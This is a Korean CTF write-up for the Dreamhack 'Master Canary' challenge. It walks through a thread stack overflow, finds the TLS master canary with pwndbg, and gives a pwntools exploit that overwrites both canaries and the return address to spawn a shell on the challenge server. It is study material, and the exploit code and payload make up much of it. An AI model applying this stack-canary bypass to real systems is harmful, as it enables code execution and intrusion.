Master Canary
└─# checksec mc_thread
[*] '/root/dream/Master Canary/mc_thread'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SSP가 적용됐다.
카나리를 bypass하는 문제라고 예상할 수 있다.
코드를 분석해보자.
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell() { execve("/bin/sh", 0, 0); }
int main() {
pthread_t thread_t;
if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
perror("thread create error:");
exit(0);
}
pthread_join(thread_t, 0);
return 0;
}
thread_routine()
를 쓰레드로 실행한다.
thread_routine()
는 다음과 같다.
int read_bytes (char *buf, int len) {
int idx = 0;
int read_len = 0;
for (idx = 0; idx < len; idx++) {
int ret;
ret = read(0, buf+idx, 1);
if (ret < 0) {
return read_len;
}
read_len ++;
}
return read_len;
}
void thread_routine() {
char buf[256];
int size = 0;
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
read_bytes(buf, size);
}
buf를 입력하는 과정에서 길이 검증을 수행하지 않는다.
- 즉, BOF가 발생한다. 이를 이용해서 RET을 giveshell() 주소로 덮으면 된다.
하지만 이번 문제는 SSP 보호기법이 적용됐다.
보통 canary를 우회하는 문제라면 canary를 leak하고 exploit 하는 것이 보통이다.
canary를 leak하려면 printf()
와 같은 출력문이 있어야 하지만 보이지 않는다. 따라서 다른 방법으로 canary를 우회해야한다.
이런 경우에 생각 할 수 있는 방법은 master canary를 이용하는 것이다.
○ tcbhead_t
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
int gscope_flag;
#ifndef __ASSUME_PRIVATE_FUTEX
int private_futex;
#elseint __glibc_reserved1;
#endif/* Reservation of some values for the TM ABI. */
void *__private_tm[4];
/* GCC split stack support. */
void *__private_ss;
} tcbhead_t;
main()
가 호출되기 전에 canary는 랜덤으로 생성되며, 쓰레드 별 전역 변수로 사용되는 Thread Local Storage(TLS)
에 저장된다.
이런 과정을 거치는 이유는 모든 쓰레드 함수가 같은 canary를 공유하기 위해서다.
쓰레드 함수가 종료되는 과정에서 스택에 저장된 canary와 TLS에 저장된 master canary를 비교하는 방식으로 BOF 검증이 수행된다.
master canary는 TLS 영역의 header.stack_guard
에 저장된다.
- 즉,
header.stack_guard
에 저장된 master canary를 조작할 수 있다면, canary를 알고 있는 것과 같은 상황이기에 SSP를 쉽게 우회할 수 있다.
문제로 돌아가보자.
공격 시나리오는 3가지다.
Thread Local Storage(TLS)
에 저장되는 canary를 덮는다.- 스택의 canary도 조작한 master canary와 동일하게 조작한다.
- RET을
get_shell()
주소로 덮고 쉘을 획득한다.
일단, 1) 조건을 수행하려면 buf ~ TLS canary
사이의 거리를 알아야 한다.
pwndbg> x/16gx $rbp-0x110
0x7ffff7dbbdc0: 0x0000000000000000 0x0000000000000000
buf 주소는 0x7ffff7dbbdc0
이다.
0x000000000040093f <+0>: push rbp
0x0000000000400940 <+1>: mov rbp,rsp
0x0000000000400943 <+4>: sub rsp,0x120
0x000000000040094a <+11>: mov rax,QWORD PTR fs:0x28
0x0000000000400953 <+20>: mov QWORD PTR [rbp-0x8],rax
<thread_routine + 11>
을 보면 canary 값을 fs:0x28
에서 가져온다.
pwndbg> x/16gx $fs_base+0x28
0x7ffff7dbc6e8: 0xac700a8dadf2aa00 0xce7d1a6ce66394d0
해당 주소를 트레이스하면 [$fs_base + 0x28] == [**Thread Local Storage(TLS)** canary]
주소를 구할 수 있다.
master canary 주소는 0xac700a8dadf2aa00
이다.
pwndbg> x/16gx $rbp-0x8
0x7ffff7dbbec8: 0xac700a8dadf2aa00 0x0000000000000000
실제로 thread_routine()
의 스택에 저장되는 canary와 비교해보면 0xac700a8dadf2aa00
라는 동일한 canary가 확인된다.
pwndbg> p 0x7ffff7dbc6e8 - 0x7ffff7dbbdc0
$2 = 2344
buf ~ TLS canary
거리를 연산하면 위와 같이 2344 바이트가 나온다.
이제 payload를 작성하고 exploit을 수행해보자.
b"\x90" * 280 + [giveshell() 주소] + b"\x90" * 2056
RET은 giveshell()
주소로 덮고 TLS canary
까지 "\x90"
으로 덮는 payload를 작성했다.
TLS canary
를 "\x90"
으로 덮었으니 canary가 "\x90"*8
이더라도 동일한 canary로 인식되서 SSP를 우회할 수 있다.
exploit
from pwn import *
import warnings
warnings.filterwarnings( 'ignore' )
leng = 2384 # 0x948 + 0x8
def exploit():
global leng
payload = b"\x90" * 280 + p64(e.symbols["giveshell"]) # buf[] -> canary -> SFP -> RET
payload += b"\x90" * (leng - len(payload) + 8) # ------> tcbhead_t
p.sendlineafter("Size: ", str(leng))
p.sendlineafter("Data: ", payload)
#context.log_level='debug'
p = remote('host3.dreamhack.games', 12813)
#p = process('./mc_thread')
e = ELF("./mc_thread")
exploit()
p.interactive()
exploit 코드에서 leng 변수를 보면 이전에 구한 거리와 다른 값을 사용한다.
로컬에서 buf ~ TLS canary
거리를 확인하면 2344 바이트지만 실제 서버는 다르다.
정확한 거리를 알려면 똑같은 환경을 구축해서 분석해야한다. 하지만 환경에 대해 언급되지않았고 brute force로 leng을 유추해서 때려맞췄다.
[+] (2023/06/16)
서버 환경이 ubuntu 22.04로 변경되면서 작성한 exploit 코드는 동작하지 않는다. 현재는 Dockerfile로 서버 환경을 제공하고 있으니 직접 도커 환경을 구축해서 정확한 leng 거리를 알아보면 좋을 것 같다.
reference
dreamhack - [Exploit Tech: Master Canary]